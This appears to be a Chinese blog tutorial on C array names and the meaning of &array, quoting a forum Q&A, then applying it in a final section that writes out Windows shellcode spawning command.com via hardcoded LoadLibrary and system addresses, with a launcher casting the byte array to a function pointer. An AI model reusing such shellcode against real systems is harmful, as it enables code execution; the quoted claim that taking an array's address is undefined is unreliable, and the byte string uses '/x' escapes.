一、c语言的数组定义的几种形式如下:
char array[100];
char array[] = "abcdefg";
char array[]={'a','b','c','d','e','f','g'};
int array[]={1,2,3,4};
二、数组名代表数组的首地址,数组元素可以通过以下方式引用:
array[0] == *(array + 0); //取第一个元素
array[1] == *(array + 1); //取第二个元素
printf("%.08x", array); //打印数组地址
三、问题是如果对数组名取地址操作呢,结果会怎样? 下面引用我在网上找到的资料(http://taobaodian.bokee.com/viewdiary.11716434.html):
看到一篇文章这么写的。。
int array[10];
int (*ptr)[10];
ptr=&array;//这里说明&array是指向数组的指针,但为什么&array是指向数组的指针?
答一:
对数组名取地址在C标准里面是未定义的行为。由于数组名是右值,而&操作符要求操作数具有具体的内存空间,换言之就是一个变量,因此对数组名取地址本来就是非法的,早期的编译器明确规定这是非法的。不过不知道什么原因,现在的编译器多数把&array定义为一个值跟array相同,类型是一个指向数组的地址,注意了,是地址,不是指针。之所以是指向数组的地址,是因为array是一个数组名,它就代表了int array[10]这个数组。而ptr也是定义为一个指向具有10个int数的数组的指针,因此&array能被赋予ptr。
问题二:
对于数组b[],b是数组的地址,但b不算变量,有没有一个地方存放b?而且b是不
是存放的就是自己所在的地址。因为我碰到了如下的问题:
定义一个指针数组
char *a[2];
那么a的值和&a的值是不是应该一样?
答二:
数组名是符号地址常量,在编译时求值并存在编译器的符号表里面,其值就是个内存地址;所以你说的有没有一个地方存放b,可以认为程序没有给其分配空间,数组名只是代表了那个数组空间;与指针不一样,指针指向一块空间,同时指针本身也存储在某个空间;可以认为数组名存在在符号表里,符号表是编译器用的,我们管不到;a和&a值是一样的,本来对常量取地址是非法的,但是标准组织没有定对数组名取地址是非法还是合法,所以因编译器而异,VC是合法的。
四、应用
下面是一段获得Shell的内嵌asm的c代码
{
__asm{
mov edi , esp ;保留当前esp
mov ebx , ebp ;保留当前ebp
mov ebp , esp ; 把当前esp赋给ebp
xor eax , eax
push eax
sub esp , 0ch ;保留字符串空间
mov byte ptr [ebp - 0bh] , 6Dh ; m
mov byte ptr [ebp - 0ah] , 73h ; s
mov byte ptr [ebp - 09h] , 76h ; v
mov byte ptr [ebp - 08h] , 63h ; c
mov byte ptr [ebp - 07h] , 72h ; r
mov byte ptr [ebp - 06h] , 74h ; t
mov byte ptr [ebp - 05h] , 2Eh ; .
mov byte ptr [ebp - 04h] , 64h ; d
mov byte ptr [ebp - 03h] , 6Ch ; l
mov byte ptr [ebp - 02h] , 6Ch ; l
lea eax , [ebp - 0bh]
push eax
mov eax , 0x7c883f9c
call eax ;调用LoadLibrary
mov ebp , esp
xor eax , eax
push eax ;压入0,esp- 4 , ; 作用是构造字符串的结尾 0字符。
sub esp , 10h ;加上上面,一共有12个字节 , ;用来放 " command.com " 。
mov byte ptr [ebp - 0ch] , 63h ; c
mov byte ptr [ebp - 0bh] , 6fh ; o
mov byte ptr [ebp - 0ah] , 6dh ; m
mov byte ptr [ebp - 09h] , 6Dh ; m
mov byte ptr [ebp - 08h] , 61h ; a
mov byte ptr [ebp - 07h] , 6eh ; n
mov byte ptr [ebp - 06h] , 64h ; d
mov byte ptr [ebp - 05h] , 2Eh ; .
mov byte ptr [ebp - 04h] , 63h ; c
mov byte ptr [ebp - 03h] , 6fh ; o
mov byte ptr [ebp - 02h] , 6dh ; m一个一个生成串 " command.com " .
lea eax , [ebp - 0ch] ;
push eax ; command . com串地址作为参数入栈
mov eax , 0x77bf93c7 ;
call eax ; call System函数的地址
mov ebp , ebx; 恢复ebp
mov esp , edi ;恢复esp
}
}
其生成的机器码为
8B EC
83 EC 4C
53
56
57
8D 7D B4
B9 13 00 00 00
B8 CC CC CC CC
F3 AB
8B FC 8B DD 8B EC 33 C0 50
83 EC 0C C6 45 F5 6D C6 45 F6 73
C6 45 F7 76 C6 45 F8 63 C6 45 F9 72
C6 45 FA 74 C6 45 FB 2E C6 45 FC 64 C6 45 FD 6C
C6 45 FE 6C 8D 45 F5 50 B8 9C 3F 88 7C FF D0 8B EC 33 C0 50
83 EC 10 C6 45 F4 63 C6 45 F5 6F C6 45 F6 6D C6 45 F7 6D
C6 45 F8 61 C6 45 F9 6E C6 45 FA 64 C6 45 FB 2E C6 45 FC 63
C6 45 FD 6F C6 45 FE 6D 8D 45 F4 50 B8 C7 93 BF 77 FF D0 8B EB 8B E7
5F 5E 5B 8B E5 5D C3
于是,我们可以将这段机器码放到内存中,让eip指向首地址去执行这段代码
unsigned char shellcode[] =
"/x55"
"/x8B/xEC"
"/x83/xEC/x4C"
"/x53"
"/x56"
"/x57"
"/x8D/x7D/xB4"
"/xB9/x13/x00/x00/x00"
"/xB8/xCC/xCC/xCC/xCC"
"/xF3/xAB"
"/x8B/xFC/x8B/xDD/x8B/xEC/x33/xC0/x50"
"/x83/xEC/x0C/xC6/x45/xF5/x6D/xC6/x45/xF6/x73"
"/xC6/x45/xF7/x76/xC6/x45/xF8/x63/xC6/x45/xF9/x72"
"/xC6/x45/xFA/x74/xC6/x45/xFB/x2E/xC6/x45/xFC/x64/xC6/x45/xFD/x6C"
"/xC6/x45/xFE/x6C/x8D/x45/xF5/x50/xB8/x9C/x3F/x88/x7C/xFF/xD0/x8B/xEC/x33/xC0/x50"
"/x83/xEC/x10/xC6/x45/xF4/x63/xC6/x45/xF5/x6F/xC6/x45/xF6/x6D/xC6/x45/xF7/x6D"
"/xC6/x45/xF8/x61/xC6/x45/xF9/x6E/xC6/x45/xFA/x64/xC6/x45/xFB/x2E/xC6/x45/xFC/x63"
"/xC6/x45/xFD/x6F/xC6/x45/xFE/x6D/x8D/x45/xF4/x50/xB8/xC7/x93/xBF/x77/xFF/xD0/x8B/xEB/x8B/xE7"
"/x5F/x5E/x5B/x8B/xE5/x5D/xC3";
int main(int argc, char* argv[])
{
((void (*)())&shellcode)();
}
请注意上面怎样调用该shellcode,取数组名地址,然后转换为void (*)()这样的函数指针,编译器解析通过。
反汇编后发现生成指令
call 数组首地址
请注意,此处shellcode和&shellcode的值都是数组的首地址,但含义不一样,请参照上面的说明。